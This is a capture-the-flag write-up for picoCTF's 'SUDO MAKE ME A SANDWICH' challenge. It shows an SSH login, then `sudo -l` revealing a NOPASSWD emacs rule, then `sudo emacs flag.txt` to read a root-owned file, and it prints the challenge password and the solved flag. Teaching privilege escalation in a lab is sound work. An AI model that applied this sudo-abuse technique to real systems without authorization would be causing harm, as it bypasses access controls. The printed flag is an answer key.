



SUDO MAKE ME A SANDWICH

SUDO MAKE ME A SANDWICH 

 |  |  50 points 

General Skills

AUTHOR: DARKRAICG492

Description

Can you read the flag? I think you can!

Additional details will be available after launching your challenge instance.

This challenge launches an instance on demand.

Its current status is: [NOT_RUNNING](#)

[Launch Instance](#)

Hints 

1 2

3,711 users solved

 87% Liked 

 picoCTF{FLAG}

[Submit Flag](#)

Author: The Analyst: Hyposelenia

Challenge: SUDO MAKE ME A SANDWICH

Category: General Skills

Date: 03/16/26



I. Objective

The objective of this challenge is to learn how **Linux permissions** work and how the **sudo command** can allow a user to execute programs with higher privileges.

The task is to explore the system, determine what commands are allowed using sudo, and use those permissions to **access the flag stored in a restricted file**.

II. Background

Linux systems use a **permission system** to control who can read, write, or execute files. Some files are restricted so that normal users cannot access them.

To manage these permissions safely, Linux uses a command called **sudo** (short for *superuser do*). This command allows a user to run specific programs as an administrator if they have permission.

In many cybersecurity challenges, misconfigured **sudo permissions** allow attackers to run certain programs as root and bypass file restrictions. Understanding how to identify and use these permissions is an important skill in **Linux privilege escalation**.

III. Tool Used

- **Oracle VirtualBox (Kali Linux)** – Used as the Linux environment to interact with the challenge instance.
- **Linux Terminal** – Used to run commands and navigate the system.
- **SSH (Secure Shell)** – Used to remotely connect to the challenge machine.



IV. Methodology

1. Launched Kali Linux Oracle VirtualBox
2. Started the **challenge instance** from the platform.

Its current status is: **NOT_RUNNING**

Launch Instance

3. Connected to the challenge machine using the **SSH command provided** in the challenge description.

ssh -p 63896 ctf-player@green-hill.picocftf.net using password
61ecc684

4. When prompted, typed **yes** to accept the connection.

```
(kali@kali)-[~]  
$ ssh -p 63896 ctf-player@green-hill.picocftf.net  
The authenticity of host '[green-hill.picocftf.net]:63896 ([3.18.205.4]:63896)' can't be established.  
ED25519 key fingerprint is SHA256:6yCI28GT1zu0g1/pjVc7t+aLNpxCPniM/MF6w7pTUx0.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '[green-hill.picocftf.net]:63896' (ED25519) to the list of known hosts.
```

5. Entered the **password provided by the challenge** (note that passwords do not appear on screen when typing).

```
Warning: Permanently added '[green-hill.picocftf.net]:63896' (ED25519) to the list of known hosts.  
ctf-player@green-hill.picocftf.net's password:  
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 6.17.0-1007-aws x86_64)
```



6. Used the command:

ls -l

```
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
ctf-player@challenge:~$ ls -l
```

to list the files in the current directory along with their permissions.

7. Observed a file named **flag.txt** which likely contains the flag.

```
ctf-player@challenge:~$ ls -l  
total 4  
-r--r--r-- 1 root root 31 Mar  9 21:32 flag.txt
```

8. Attempted to read the file using:

cat flag.txt

```
-r--r--r-- 1 root root 31 Mar  9 21:32 flag.txt  
ctf-player@challenge:~$ cat flag.txt  
cat: flag.txt: Permission denied
```

9. The system returned a **permission denied** error, indicating the user did not have permission to read the file.

```
cat: flag.txt: Permission denied
```

10. To check what commands could be executed with administrator privileges, the following command was used:

sudo -l

```
ctf-player@challenge:~$ sudo -l  
Matching Defaults entries for ctf-player on challenge:  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User ctf-player may run the following commands on challenge:  
(ALL) NOPASSWD: /bin/emacs
```



11. The output showed that the program **emacs** could be executed using sudo.

```
User ctf-player may run the following commands on challenge:  
(ALL) NOPASSWD: /bin/emacs
```

12. The following command was then executed:

sudo emacs flag.txt

```
ctf-player@challenge:~$ sudo emacs flag.txt
```

13. Since the editor was opened with **administrator privileges**, the restricted file could now be read.

```
File Edit Options Buffers Tools Text Help  
picoCTF{ju57_5ud0_17_4c6f730f}
```

14. The **flag** was successfully discovered inside the file.

V. Result

picoCTF{ju57_5ud0_17_4c6f730f}

```
File Edit Options Buffers Tools Text Help  
picoCTF{ju57_5ud0_17_4c6f730f}
```



VI. Explanation

What is **sudo**?

Think of a computer like a **school**.

- Normal users are **students**
- The administrator (root) is the **principal**

Students normally cannot enter certain rooms, like the **principal's office**.

The command **sudo** is like asking:

"Principal, can I do this one task with your permission?"

If the system allows it, the command runs with **administrator power**.

What does **sudo -l** mean?

The command:

sudo -l

means:

"Show me what commands I am allowed to run as the administrator."

In this challenge, it showed that **emacs** could be run using **sudo**.

What is **emacs**?

Emacs is a **text editor** used in Linux.

Think of it like **Notepad or VS Code**, but inside the terminal.

It allows users to:

- open files
- edit text
- read file contents

Because it was run with **sudo**, emacs was allowed to open **restricted files**, including **flag.txt**.

VII. Conclusion



This challenge demonstrates how **misconfigured sudo permissions** can lead to unauthorized access to restricted files.

By checking allowed commands using `sudo -l`, it was possible to identify a program (emacs) that could run with administrator privileges. Running this program with sudo allowed access to a protected file that normally could not be read.

This challenge highlights the importance of **proper permission management in Linux systems** and shows how attackers may exploit allowed programs to escalate privileges.

— The Analyst: Hyposelenia